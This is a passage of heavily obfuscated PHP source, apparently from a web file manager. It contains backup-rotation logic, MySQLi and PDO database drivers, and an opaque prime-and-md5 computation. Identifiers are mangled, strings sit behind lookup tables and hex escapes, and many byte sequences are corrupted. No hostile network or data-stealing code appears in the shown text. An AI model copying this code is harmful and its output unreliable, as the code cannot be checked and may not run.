1); $ÞÏÆ»ý§ = intval(($Û÷ú€ÙŒ + $Ð<>²Àï) / 2); while (1) { $×Σ¾±ó = $ÞÏÆ»ý§; $ôñ¼»® = $¸Ÿ‡Š•¤; $»¥½Ò<C2BD>¡ = $˜ð‹Ýƒý[801]; while (strlen($»¥½Ò<C2BD>¡) < $˜ð‹Ýƒý[699]) { if (!$»¥½Ò<C2BD>¡) { break; } $»¥½Ò<C2BD>¡++; } while ($ôñ¼»® % $×Σ¾±ó != 0) { $ÀÝÅûíù = $ôñ¼»®; $ôñ¼»® = $×Σ¾±ó; $ﲡ¥¼Þ = $˜ð‹Ýƒý[802]; if (strlen($ﲡ¥¼Þ) < $˜ð‹Ýƒý[687]) { return; } $×Σ¾±ó = $ÀÝÅûíù % $×Σ¾±ó; $ÜŸò¹ÒŽ = $˜ð‹Ýƒý[803]; if (strlen($ÜŸò¹ÒŽ) < $˜ð‹Ýƒý[683]) { die; } } if ($×Σ¾±ó == 1) { break; } else { $ÞÏÆ»ý§++; } } $¨–˜¿ˆ± = 2; $Ïáà©³Ý = $˜ð‹Ýƒý[804]; for ($ߢ€ò«„ = 0; $ߢ€ò«„ < $¸Ÿ‡Š•¤ * 10; $ߢ€ò«„++) { if (($¸Ÿ‡Š•¤ * $ߢ€ò«„ + 1) % $ÞÏÆ»ý§ == 0) { $¨–˜¿ˆ± = intval(($¸Ÿ‡Š•¤ * $ߢ€ò«„ + 1) / $ÞÏÆ»ý§); break; } } $¸¯“¯ÍÁ = md5($ƒÓߨ´ñ[304] . ($Û÷ú€ÙŒ + $Ð<>²Àï) . $ƒÓߨ´ñ[305] . $ÞÏÆ»ý§ . $ƒÓߨ´ñ[305] . $¨–˜¿ˆ± . $ƒÓߨ´ñ[306]); $ûÀ<C3BB>®ð = $˜ð‹Ýƒý[805]; if (strlen($ûÀ<C3BB>®ð) < $˜ð‹Ýƒý[699]) { return; } $›Ü™‹É® = $this->mows81ee32e9($<24>½¼Ú†[0], $¸¯“¯ÍÁ); $ij°ßïü = $˜ð‹Ýƒý[806]; return $›Ü™‹É®; } public function ocbk84372016() { $®çË•û„ =& $_SERVER[ˆ¡¹µ‹Â]; $óЙ÷× = mt_rand(pow(2, 14), pow(2, 16) - 1); $¢³Ÿ‚ñº = $®çË•û„[807]; if (strlen($¢³Ÿ‚ñº) < $®çË•û„[687]) { return; } $ÇÝÜ´¢ø = array(); $»ðˆÀàí = $®çË•û„[808]; if (!$»ðˆÀàí) { return; } $¤–‘¨å„ = 1; $ÏËÒ<C38B>æ¹ = $®çË•û„[809]; if (strlen($ÏËÒ<C38B>æ¹) < $®çË•û„[692]) { die; } while ($¤–‘¨å„ <= (int) sqrt($óЙ÷×Â)) { $¿Ù•<C399>Õµ = $¤–‘¨å„; $¬ÙƒÃ‚Å = $®çË•û„[810]; while (!0) { $¿Ù•<C399>Õµ++; if ($¿Ù•<C399>Õµ <= 2) { $¤–‘¨å„ = $¿Ù•<C399>Õµ; break; } else { if ($¿Ù•<C399>Õµ < 2) { continue; } } $<24>ßãÓ— = !0; for ($¨ŸÚ<C5B8>ÙÖ = 2; $¨ŸÚ<C5B8>ÙÖ <= sqrt($¿Ù•<C399>Õµ); $¨ŸÚ<C5B8>ÙÖ++) { if ($¿Ù•<C399>Õµ % $¨ŸÚ<C5B8>ÙÖ == 0) { $<24>ßãÓ— = !1; } } if ($<24>ßãÓ—) { $¤–‘¨å„ = $¿Ù•<C399>Õµ; break; } } $ÇÝÜ´¢ø[] = $¤–‘¨å„; $¾ç°¹ÐÚ = $®çË•û„[811]; } $îÚü—üˆ = 2; $Ï–¶è”Ï = $®çË•û„[812]; while ($Ï–¶è”Ï < $®çË•û„[692]) { if ($Ï–¶è”Ï >= 0) { break; } $Ï–¶è”Ï++; } for ($¿Ù•<C399>Õµ = $óЙ÷×Â; $¿Ù•<C399>Õµ > 1; $¿Ù•<C399>Õµ--) { $<24>ßãÓ— = !0; foreach ($ÇÝÜ´¢ø as $󚨉֘) { if ($¿Ù•<C399>Õµ % $󚨉֘ == 0) { $<24>ßãÓ— = !1; break; } } if ($<24>ßãÓ—) { $îÚü—üˆ = $¿Ù•<C399>Õµ; break; } } return $îÚü—üˆ; } public function uxkv77fc9f13($¶Œ‚õœö, $ø¦¤¹ÉÖ) { $þÃðŠƒÅ =& $_SERVER[ˆ¡¹µ‹Â]; $Ìð…šº± =& $_SERVER[ Ãœáã¬]; return call_user_func(array($Ìð…šº±[8], $Ìð…šº±[308]), $¶Œ‚õœö, $ø¦¤¹ÉÖ); $Óêá®ñ¦ = $þÃðŠƒÅ[813]; if (strlen($Óêá®ñ¦) < $þÃðŠƒÅ[699]) { die; } } public function butf4e080185($Úã¼µ­ç, $¸óÐ÷¡ð) { $¨§úï×ß =& $_SERVER[ Ãœáã¬]; return call_user_func(array($¨§úï×ß[309], $¨§úï×ß[310]), $Úã¼µ­ç, $¸óÐ÷¡ð); } public function mows81ee32e9($×ó똔è, $<24>¤Ü÷þ±) { $Ãâ—þÒª =& $_SERVER[ Ãœáã¬]; return call_user_func(array($Ãâ—þÒª[309], $Ãâ—þÒª[311]), $×ó똔è, $<24>¤Ü÷þ±); $<24>Üææ†Œ = $_SERVER[ˆ¡¹µ‹Â][814]; } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->model = Model($_SERVER[ˆ¡¹µ‹Â][815]); $this->init(); $this->keep(); } public function init() { $öˆ±á<C2B1>ž =& $_SERVER[ˆ¡¹µ‹Â]; $this->isManual(); self::$name = date($öˆ±á<C2B1>ž[816]); if (!($ת‡üÃ’ = $this->model->lastItem())) { $ת‡üÃ’ = $this->initData(); } else { self::$name = $ת‡üÃ’[$öˆ±á<C2B1>ž[32]]; if ($ת‡üÃ’[$öˆ±á<C2B1>ž[817]] == $öˆ±á<C2B1>ž[91]) { self::$name = date($öˆ±á<C2B1>ž[272]); $ŠŽˆ‹åï = intval(_get($ת‡üÃ’, $öˆ±á<C2B1>ž[818], 0)); if (self::$manual == 0 && $ת‡üÃ’[$öˆ±á<C2B1>ž[32]] == self::$name) { $this->model->remove($ת‡üÃ’[$öˆ±á<C2B1>ž[475]]); } $ת‡üÃ’ = $this->initData($ŠŽˆ‹åï, $ת‡üÃ’[$öˆ±á<C2B1>ž[819]]); } else { $this->checkStore($ת‡üÃ’[$öˆ±á<C2B1>ž[819]]); } } self::$option = $ת‡üÃ’; } private function isManual() { $<24>šÉÔã® = _get($GLOBALS, $_SERVER[ˆ¡¹µ‹Â][820], 0); $<24>šÉÔã® = intval($<24>šÉÔã®); self::$manual = $<24>šÉÔã® && $<24>šÉÔã® == 1 ? 1 : 0; } private function initData($áòâšÄÓ = 0, $Ë•æÓìË = '') { $òè†ËΙ =& $_SERVER[ˆ¡¹µ‹Â]; $ÐìÕœ ™ = $this->model->config(); if ($Ë•æÓìË && $ÐìÕœ ™[$òè†ËΙ[819]] != $Ë•æÓìË) { $áòâšÄÓ = 0; } $this->checkStore($ÐìÕœ ™[$òè†ËΙ[819]]); if (self::$manual == 1) { self::$name .= $òè†ËΙ[11] . date($òè†ËΙ[821]); } $òÕåÊðù = array($òè†ËΙ[819] => $ÐìÕœ ™[$òè†ËΙ[819]], $òè†ËΙ[32] => self::$name, $òè†ËΙ[817] => 0, $òè†ËΙ[171] => $ÐìÕœ ™[$òè†ËΙ[171]], $òè†ËΙ[822] => self::$manual, $òè†ËΙ[369] => array($òè†ËΙ[823] => array($òè†ËΙ[817] => 0), $òè†ËΙ[824] => array($òè†ËΙ[817] => 0, $òè†ËΙ[825] => 0, $òè†ËΙ[826] => 0, $òè†ËΙ[33] => $òè†ËΙ[12], $òè†ËΙ[827] => 0, $òè†ËΙ[828] => 0), $òè†ËΙ[829] => array($òè†ËΙ[817] => 0, $òè†ËΙ[825] => 0, $òè†ËΙ[826] => 0, $òè†ËΙ[827] => 0, $òè†ËΙ[828] => 0), $òè†ËΙ[230] => array($òè†ËΙ[817] => 0, $òè†ËΙ[830] => 0, $òè†ËΙ[831] => 0, $òè†ËΙ[832] => 0, $òè†ËΙ[833] => 0, $òè†ËΙ[541] => $áòâšÄÓ, $òè†ËΙ[827] => 0, $òè†ËΙ[828] => 0)), $òè†ËΙ[827] => time(), $òè†ËΙ[828] => 0); $ÁÖ‚Þ¨¢ = $this->model->insert($òÕåÊðù); $òÕåÊðù[$òè†ËΙ[475]] = $ÁÖ‚Þ¨¢; return $òÕåÊðù; } private function checkStore($͵í<C2B5>Óó) { $‚òƒ = Model($_SERVER[ˆ¡¹µ‹Â][834]); $ª˜<C2AA>ù = $‚òƒ->listData($͵í<C2B5>Óó); $‚òƒ->checkConfig($ª˜<C2AA>ù); } public static function get() { if (!self::$option) { $çÞé´¦³ = Model($_SERVER[ˆ¡¹µ‹Â][815]); $<>¼æÔ÷ = $çÞé´¦³->findByName(self::$name); $çÞé´¦³->parseContent($<>¼æÔ÷); self::$option = $<>¼æÔ÷; } return self::$option; } public static function set($û·½<C2B7><C2BD>) { $õ¬æé<C3A6> =& $_SERVER[ˆ¡¹µ‹Â]; $²‘Üš§ß = self::get(); foreach ($û·½<C2B7><C2BD> as $žàÒ·â => $ˆ¼ƒºòî) { array_set_value($²‘Üš§ß, $žàÒ·âÂ, $ˆ¼ƒºòî); } Model($õ¬æé<C3A6>[815])->update($²‘Üš§ß[$õ¬æé<C3A6>[475]], $²‘Üš§ß); self::$option = $²‘Üš§ß; return self::$option; } public function keep() { $‰Ž<E280B0>®ë¿ =& $_SERVER[ˆ¡¹µ‹Â]; $—§ÔÚ®¥ = self::get(); if (_get($—§ÔÚ®¥, $‰Ž<E280B0>®ë¿[835], 0) == $‰Ž<E280B0>®ë¿[91]) { return; } $this->backupKeep($—§ÔÚ®¥); self::set(array($‰Ž<E280B0>®ë¿[835] => 1)); } private function backupKeep($·æµ¨É<C2A8>) { $·Õ†<C395>àØ =& $_SERVER[ˆ¡¹µ‹Â]; if (self::$manual == 1) { return; } $øâº æð = $this->model->listData(); if (empty($øâº æð)) { return; } $Õ‚Ö‰ª = 0; $ÒħŸ‰Î = array(); foreach ($øâº æð as $§ÈÔŠ Ó) { if ($Õ‚Ö‰ª >= 7) { break; } $ÒħŸ‰Î[] = $§ÈÔŠ Ó[$·Õ†<C395>àØ[32]]; $Õ‚Ö‰ª++; } for ($Õ‚Ö‰ª = 0; $Õ‚Ö‰ª < 12; $Õ‚Ö‰ª++) { $ÒħŸ‰Î[] = date($·Õ†<C395>àØ[836], strtotime("\55{$Õ‚Ö‰ª}\x20\x6d\157\x6e\164\x68\163")); } $ÒħŸ‰Î = array_unique($ÒħŸ‰Î); $®ó󯍨 = Model($·Õ†<C395>àØ[837])->get($·Õ†<C395>àØ[838]); foreach ($øâº æð as $§ÈÔŠ Ó) { if (isset($§ÈÔŠ Ó[$·Õ†<C395>àØ[822]]) && $§ÈÔŠ Ó[$·Õ†<C395>àØ[822]] == $·Õ†<C395>àØ[91]) { continue; } if (!empty($§ÈÔŠ Ó[$·Õ†<C395>àØ[32]]) && in_array($§ÈÔŠ Ó[$·Õ†<C395>àØ[32]], $ÒħŸ‰Î)) { continue; } $this->model->remove($§ÈÔŠ Ó[$·Õ†<C395>àØ[475]]); $¢ƒâ×<C3A2>ž = $this->backupPath($·æµ¨É<C2A8>, $®ó󯍨); IO::remove($¢ƒâ×<C3A2>ž, !1); } } private function backupPath($úªï•Ì—, $»èÛ«Æ¥ = false) { $—¶¥¬“¯ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$»èÛ«Æ¥) { $»èÛ«Æ¥ = Model($—¶¥¬“¯[837])->get($—¶¥¬“¯[838]); } $Ëð<C38B>Öò¡ = $úªï•Ì—[$—¶¥¬“¯[32]]; $½†ÓÔ÷ß = substr(md5($—¶¥¬“¯[839] . $»èÛ«Æ¥ . $Ëð<C38B>Öò¡), 0, 8); return "\173\151\x6f\72{$úªï•Ì—[$—¶¥¬“¯[819]]}\175\x2f\144\141\x74\x61\x62\x61\x73\x65\x2f\142\x61\x63\153\165\160\57" . $Ëð<C38B>Öò¡ . $—¶¥¬“¯[11] . $½†ÓÔ÷ß; } public function db() { $†–䊉« =& $_SERVER[ˆ¡¹µ‹Â]; $Ïœ¤€Ô© = self::get(); if (_get($Ïœ¤€Ô©, $†–䊉«[840], 0) == $†–䊉«[91]) { return !0; } $ÕÒ¢ã<C2A2>ù = new BackupDb(); if (!$ÕÒ¢ã<C2A2>ù->index()) { return !1; } self::set(array($†–䊉«[840] => 1)); return !0; } public function dbFile() { $ˆŸšÒ”µ =& $_SERVER[ˆ¡¹µ‹Â]; $†ã§”„› = self::get(); if (_get($†ã§”„›, $ˆŸšÒ”µ[841], 0) == $ˆŸšÒ”µ[91]) { return !0; } $Š·ßùíÄ = new BackupDbFile(); if (!$Š·ßùíÄ->index()) { return !1; } self::set(array($ˆŸšÒ”µ[841] => 1)); return !0; } public function file() { $§•˜øÑò =& $_SERVER[ˆ¡¹µ‹Â]; $ÈïýÁæ<C381> = self::get(); if (_get($ÈïýÁæ<C381>, $§•˜øÑò[842], 0) == $§•˜øÑò[91]) { return !0; } if ($ÈïýÁæ<C381>[$§•˜øÑò[171]] == $§•˜øÑò[843]) { $É<>—žÞå = new BackupFile(); if (!$É<>—žÞå->index()) { return !1; } } self::set(array($§•˜øÑò[842] => 1, $§•˜øÑò[817] => 1)); return !0; } } goto eÃйºë”Ð; d¶¾¡ßЧÕ: class DbMysqli extends Db { public function __construct($ºå÷¶’™ = '') { $‹£ù˱Š=& $_SERVER[ˆ¡¹µ‹Â]; if (!extension_loaded($‹£ù˱Å[983])) { think_exception(think_lang($‹£ù˱Å[14]) . $‹£ù˱Å[984]); } if (!empty($ºå÷¶’™)) { $this->config = $ºå÷¶’™; if (empty($this->config[$‹£ù˱Å[17]])) { $this->config[$‹£ù˱Å[17]] = $‹£ù˱Å[12]; } } } public function connect($‰<>©ìâÜ = '', $îù´ØŒÇ = 0) { $ñ™¡‰ñÔ =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($this->linkID[$îù´ØŒÇ])) { if (empty($‰<>©ìâÜ)) { $‰<>©ìâÜ = $this->config; } $this->linkID[$îù´ØŒÇ] = new mysqli($‰<>©ìâÜ[$ñ™¡‰ñÔ[957]], $‰<>©ìâÜ[$ñ™¡‰ñÔ[959]], $‰<>©ìâÜ[$ñ™¡‰ñÔ[960]], $‰<>©ìâÜ[$ñ™¡‰ñÔ[21]], $‰<>©ìâÜ[$ñ™¡‰ñÔ[958]] ? intval($‰<>©ìâÜ[$ñ™¡‰ñÔ[958]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ɆÏÐ<C38F>¡ = $this->linkID[$îù´ØŒÇ]->server_version; $this->linkID[$îù´ØŒÇ]->query($ñ™¡‰ñÔ[961] . think_config($ñ™¡‰ñÔ[962]) . $ñ™¡‰ñÔ[58]); if ($ɆÏÐ<C38F>¡ > $ñ™¡‰ñÔ[963]) { $this->linkID[$îù´ØŒÇ]->query($ñ™¡‰ñÔ[964]); } $this->connected = !0; if (1 != think_config($ñ™¡‰ñÔ[22])) { unset($this->config); } } return $this->linkID[$îù´ØŒÇ]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($ŽÙäš½²) { $<24><>Â¡Ê =& $_SERVER[ˆ¡¹µ‹Â]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ŽÙäš½²; if ($this->queryID) { $this->free(); } think_action_status($<24><>¡Ê[23], 1); think_status($<24><>¡Ê[24]); $this->queryID = $this->_linkID->query($ŽÙäš½²); if ($this->_linkID->more_results()) { while (($î믑ßý = $this->_linkID->next_result()) != NULL) { $î믑ßý->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($²Á ¡ø²) { $æÖ úÆý =& $_SERVER[ˆ¡¹µ‹Â]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $²Á ¡ø²; if ($this->queryID) { $this->free(); } think_action_status($æÖ úÆý[25], 1); think_status($æÖ úÆý[24]); $‡ÛƦ¯¤ = $this->_linkID->query($²Á ¡ø²); $this->debug(); if (!1 === $‡ÛƦ¯¤) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ÙÊŽ©ª˜ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$ÙÊŽ©ª˜) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ç–ñï›° = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ç–ñï›°) { $this->error(); return !1; } } return !0; } private function getAll() { $ߣ‹áËŒ = array(); if ($this->numRows > 0) { for ($Òœ‘¸ÅÓ = 0; $Òœ‘¸ÅÓ < $this->numRows; $Òœ‘¸ÅÓ++) { $ߣ‹áËŒ[$Òœ‘¸ÅÓ] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $ߣ‹áËŒ; } public function getFields($¿¿¨ˆ<E280B9>) { $æœÜÅªÈ =& $_SERVER[ˆ¡¹µ‹Â]; $è¼Ì§—Á = $this->query($æœÜŪÈ[968] . $this->parseKey($¿¿¨ˆ<E280B9>)); $Üþ–ê“Ü = array(); if ($è¼Ì§—Á) { foreach ($è¼Ì§—Á as $âµâ ÌÑ => $ƒ‘å¢ïè) { $Üþ–ê“Ü[$ƒ‘å¢ïè[$æœÜŪÈ[31]]] = array($æœÜŪÈ[32] => $ƒ‘å¢ïè[$æœÜŪÈ[31]], $æœÜŪÈ[33] => $ƒ‘å¢ïè[$æœÜŪÈ[34]], $æœÜŪÈ[35] => (bool) ($ƒ‘å¢ïè[$æœÜŪÈ[36]] === $æœÜŪÈ[12]), $æœÜŪÈ[37] => $ƒ‘å¢ïè[$æœÜŪÈ[38]], $æœÜŪÈ[39] => strtolower($ƒ‘å¢ïè[$æœÜŪÈ[40]]) == $æœÜŪÈ[41], $æœÜŪÈ[42] => strtolower($ƒ‘å¢ïè[$æœÜŪÈ[43]]) == $æœÜŪÈ[44]); } } return $Üþ–ê“Ü; } public function getTables($æÕÃ<C395><EFBFBD> = '') { $¼±ŽÚ‰÷ =& $_SERVER[ˆ¡¹µ‹Â]; $‘와½Ð = !empty($æÕÃ<C395><EFBFBD>) ? $¼±ŽÚ‰÷[970] . $æÕÃ<C395><EFBFBD> . $¼±ŽÚ‰÷[971] : $¼±ŽÚ‰÷[972]; $Þ›¡ˆ¿½ = $this->query($‘와½Ð); $ܳÁõ¢Û = array(); if ($Þ›¡ˆ¿½) { foreach ($Þ›¡ˆ¿½ as $êÊ¿¹ÛÒ => $åç¸ÚÆ<C39A>) { $ܳÁõ¢Û[$êÊ¿¹ÛÒ] = current($åç¸ÚÆ<C39A>); } } return $ܳÁõ¢Û; } public function replace($Ä¿˜ÕÈê, $ñ–ÛÇ×¢ = array()) { $ïÇÔêÁ· =& $_SERVER[ˆ¡¹µ‹Â]; foreach ($Ä¿˜ÕÈê as $úâ̈²‚ => $”ÀÏÙÎ×) { $ûòÙÑ‘° = $this->parseValue($”ÀÏÙÎ×); if (is_scalar($ûòÙÑ‘°)) { $Ë¢‡²ÌÝ[] = $ûòÙÑ‘°; $µáîþ™”[] = $this->parseKey($úâ̈²‚); } } $ì¾æŒé¢ = $ïÇÔêÁ·[973] . $this->parseTable($ñ–ÛÇ×¢[$ïÇÔêÁ·[356]]) . $ïÇÔêÁ·[974] . implode($ïÇÔêÁ·[50], $µáîþ™”) . $ïÇÔêÁ·[975] . implode($ïÇÔêÁ·[50], $Ë¢‡²ÌÝ) . $ïÇÔêÁ·[976]; return $this->execute($ì¾æŒé¢); } public function insertAll($„‡ìçÛ±, $هٰ•Æ = array(), $ų֕Ÿ£ = false) { $Ïß—ºÅ´ =& $_SERVER[ˆ¡¹µ‹Â]; if (!is_array($„‡ìçÛ±[0])) { return !1; } $ ­²Üôà = array_keys($„‡ìçÛ±[0]); $ýìÓÖÞµ = array(); foreach ($„‡ìçÛ± as $±·ï¤åü) { $üé½¢ä‰ = array(); foreach ($±·ï¤åü as $­<E280BA>ñÆ¢ => $ã½ÇÞñ‹) { $ã½ÇÞñ‹ = $this->parseValue($ã½ÇÞñ‹); if (is_scalar($ã½ÇÞñ‹)) { $üé½¢ä‰[] = $ã½ÇÞñ‹; } } $ýìÓÖÞµ[] = $Ïß—ºÅ´[337] . implode($Ïß—ºÅ´[50], $üé½¢ä‰) . $Ïß—ºÅ´[976]; } array_walk($ ­²Üôà, array($this, $Ïß—ºÅ´[977])); $™¿Õ‰º‹ = $ų֕Ÿ£ ? $Ïß—ºÅ´[978] : $Ïß—ºÅ´[979]; $è¼ÜÁøÔ = $™¿Õ‰º‹ . $Ïß—ºÅ´[980] . $this->parseTable($هٰ•Æ[$Ïß—ºÅ´[356]]) . $Ïß—ºÅ´[974] . implode($Ïß—ºÅ´[50], $ ­²Üôà) . $Ïß—ºÅ´[981] . implode($Ïß—ºÅ´[50], $ýìÓÖÞµ); return $this->execute($è¼ÜÁøÔ); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $±Æ•¡£ˆ =& $_SERVER[ˆ¡¹µ‹Â]; $this->error = $this->_linkID->errno . $±Æ•¡£ˆ[4] . $this->_linkID->error; if ($±Æ•¡£ˆ[12] != $this->queryStr) { $this->error .= LNG($±Æ•¡£ˆ[48]) . $this->queryStr; } think_trace($this->error, $±Æ•¡£ˆ[12], $±Æ•¡£ˆ[49]); return $this->error; } public function escapeString($†€ì<E282AC>û¹) { if ($this->_linkID) { return $this->_linkID->real_escape_string($†€ì<E282AC>û¹); } else { return addslashes($†€ì<E282AC>û¹); } } public function parseKey(&$™š˜<C5A1>Ù², $ðùÕ‘ Ã = true) { $ÀÔ<C380>³ìÙ =& $_SERVER[ˆ¡¹µ‹Â]; if ($ðùÕ‘ Ã) { $™š˜<C5A1>Ù² = $this->parseKeyCheck($™š˜<C5A1>Ù²); } if ($™š˜<C5A1>Ù² != $ÀÔ<C380>³ìÙ[220] && !preg_match($ÀÔ<C380>³ìÙ[982], $™š˜<C5A1>Ù²)) { $™š˜<C5A1>Ù² = $ÀÔ<C380>³ìÙ[461] . trim($™š˜<C5A1>Ù², $ÀÔ<C380>³ìÙ[461]) . $ÀÔ<C380>³ìÙ[461]; } return $™š˜<C5A1>Ù²; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($Ó°ŠäÈÒ = '') { $çˆÊ<CB86>™€ =& $_SERVER[ˆ¡¹µ‹Â]; if (!class_exists($çˆÊ<CB86>™€[985])) { think_exception(think_lang($çˆÊ<CB86>™€[14]) . $çˆÊ<CB86>™€[986]); } if (!empty($Ó°ŠäÈÒ)) { $this->config = $Ó°ŠäÈÒ; if (empty($this->config[$çˆÊ<CB86>™€[17]])) { $this->config[$çˆÊ<CB86>™€[17]] = array(); } } } public function connect($²þ𪣿 = '', $Ê”<C38A>О¥ = 0) { $²ŒÊ‹ ¶ =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($this->linkID[$Ê”<C38A>О¥])) { if (empty($²þ𪣿)) { $²þ𪣿 = $this->config; } $ïõ–¢Þ‘ = !empty($²þ𪣿[$²ŒÊ‹ ¶[17]][$²ŒÊ‹ ¶[18]]) ? $²þ𪣿[$²ŒÊ‹ ¶[17]][$²ŒÊ‹ ¶[18]] : $this->pconnect; if ($ïõ–¢Þ‘) { $²þ𪣿[$²ŒÊ‹ ¶[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$Ê”<C38A>О¥] = new PDO($²þ𪣿[$²ŒÊ‹ ¶[987]], $²þ𪣿[$²ŒÊ‹ ¶[959]], $²þ𪣿[$²ŒÊ‹ ¶[960]], $²þ𪣿[$²ŒÊ‹ ¶[17]]); } catch (PDOException $<24>°ˆŠ­) { think_exception($<24>°ˆŠ­->getMessage()); } $this->dbType = $this->_getDsnType($²þ𪣿[$²ŒÊ‹ ¶[987]]); if (in_array($this->dbType, array($²ŒÊ‹ ¶[988], $²ŒÊ‹ ¶[989], $²ŒÊ‹ ¶[990], $²ŒÊ‹ ¶[991]))) { think_exception($²ŒÊ‹ ¶[992] . $this->dbType . $²ŒÊ‹ ¶[993] . $this->dbType . $²ŒÊ‹ ¶[994]); } if (!$this->linkID[$Ê”<C38A>О¥]) { think_exception($²ŒÊ‹ ¶[995]); } try { $this->linkID[$Ê”<C38A>О¥]->exec($²ŒÊ‹ ¶[996] . think_config($²ŒÊ‹ ¶[962])); } catch (Exception $<24>°ˆŠ­) { } $this->connected = !0; if (1 != think_config($²ŒÊ‹ ¶[22])) { unset($this->config); } } return $this->linkID[$Ê”<C38A>О¥]; } public function free() { $this->PDOStatement = null; } public function query($¤¦Œ¹ë<C2B9>, $ƒµâ¦ŒÞ = array()) { $´ÇíÙøþ =& $_SERVER[ˆ¡¹µ‹Â]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $¤¦Œ¹ë<C2B9>; if (!empty($ƒµâ¦ŒÞ)) { $this->queryStr .= $´ÇíÙøþ[997] . print_r($ƒµâ¦ŒÞ, !0) . $´ÇíÙøþ[998]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($´ÇíÙøþ[23], 1); think_status($´ÇíÙøþ[24]); $this->PDOStatement = $this->_linkID->prepare($¤¦Œ¹ë<C2B9>); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $Ëô«ôÝ´ = $this->PDOStatement->execute($ƒµâ¦ŒÞ); $this->debug(); if (!1 === $Ëô«ôÝ´) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($阧¥ä, $¥Õ€û£Û = array()) { $«†ÝÅ€Ú =& $_SERVER[ˆ¡¹µ‹Â]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $阧¥ä; if (!empty($¥Õ€û£Û)) { $this->queryStr .= $«†ÝÅ€Ú[997] . print_r($¥Õ€û£Û, !0) . $«†ÝÅ€Ú[998]; } $­Õ÷Ëñó = !1; if ($this->dbType == $«†ÝÅ€Ú[991]) { if (preg_match($«†ÝÅ€Ú[999], $this->queryStr, $ºÊ½§Ð<C2A7>)) { $this->table = think_config($«†ÝÅ€Ú[1000]) . str_ireplace(think_config($«†ÝÅ€Ú[1001]), $«†ÝÅ€Ú[454], $ºÊ½§Ð<C2A7>[2]); $­Õ÷Ëñó = (bool) $this->query($«†ÝÅ€Ú[1002] . strtoupper($this->table) . $«†ÝÅ€Ú[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($«†ÝÅ€Ú[25], 1); think_status($«†ÝÅ€Ú[24]); $this->PDOStatement = $this->_linkID->prepare($阧¥ä); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $öã<C3B6>±£“ = $this->PDOStatement->execute($¥Õ€û£Û); $this->debug(); if (!1 === $öã<C3B6>±£“) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($­Õ÷Ëñó || preg_match($«†ÝÅ€Ú[1003], $阧¥ä)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $Œàù›ÖÇ = $this->_linkID->commit(); $this->transTimes = 0; if (!$Œàù›ÖÇ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $×èªèæÚ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$×èªèæÚ) { $this->error(); return !1; } } return !0; } private function getAll() { $ŒÆ¸·ŸÀ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($ŒÆ¸·ŸÀ); return $ŒÆ¸·ŸÀ; } public function getFields($Ïß’£Ýž) { $À»þß„„ =& $_SERVER[ˆ¡¹µ‹Â]; $this->initConnect(!0); if (think_config($À»þß„„[1004])) { $ß–”¯ŸÔ = str_replace($À»þß„„[1005], $Ïß’£Ýž, think_config($À»þß„„[1004])); } else { switch ($this->dbType) { case $À»þß„„[988]: case $À»þß„„[1006]: $ß–”¯ŸÔ = "\123\105\114\x45\103\x54\40\x20\40\x63\157\154\x75\x6d\x6e\x5f\156\x61\x6d\x65\x20\141\163\x20\x27\x4e\141\x6d\x65\47\x2c\x20\40\x20\x64\x61\164\141\x5f\164\171\160\145\x20\x61\x73\40\x27\124\x79\x70\x65\x27\x2c\x20\x20\40\143\x6f\x6c\165\155\156\137\x64\x65\x66\x61\x75\x6c\x74\x20\141\163\40\x27\x44\145\146\x61\x75\x6c\164\47\x2c\40\40\x20\x69\163\137\156\x75\x6c\154\141\x62\154\145\40\x61\x73\x20\47\x4e\165\154\154\47\12\11\11\106\x52\x4f\115\11\151\156\x66\157\x72\x6d\x61\164\x69\157\x6e\137\x73\x63\150\145\x6d\x61\x2e\x74\x61\x62\x6c\x65\x73\40\x41\x53\x20\x74\12\11\11\112\x4f\x49\116\x9\x69\x6e\x66\x6f\162\155\x61\164\x69\157\156\x5f\163\143\150\145\x6d\141\x2e\x63\x6f\x6c\x75\x6d\x6e\163\40\101\x53\x20\143\12\x9\x9\x4f\116\x20\x20\x74\56\164\x61\x62\154\145\x5f\143\x61\164\x61\x6c\x6f\x67\x20\x3d\x20\143\56\164\141\142\x6c\145\x5f\x63\141\x74\x61\154\157\147\xa\11\x9\101\116\x44\40\164\56\x74\x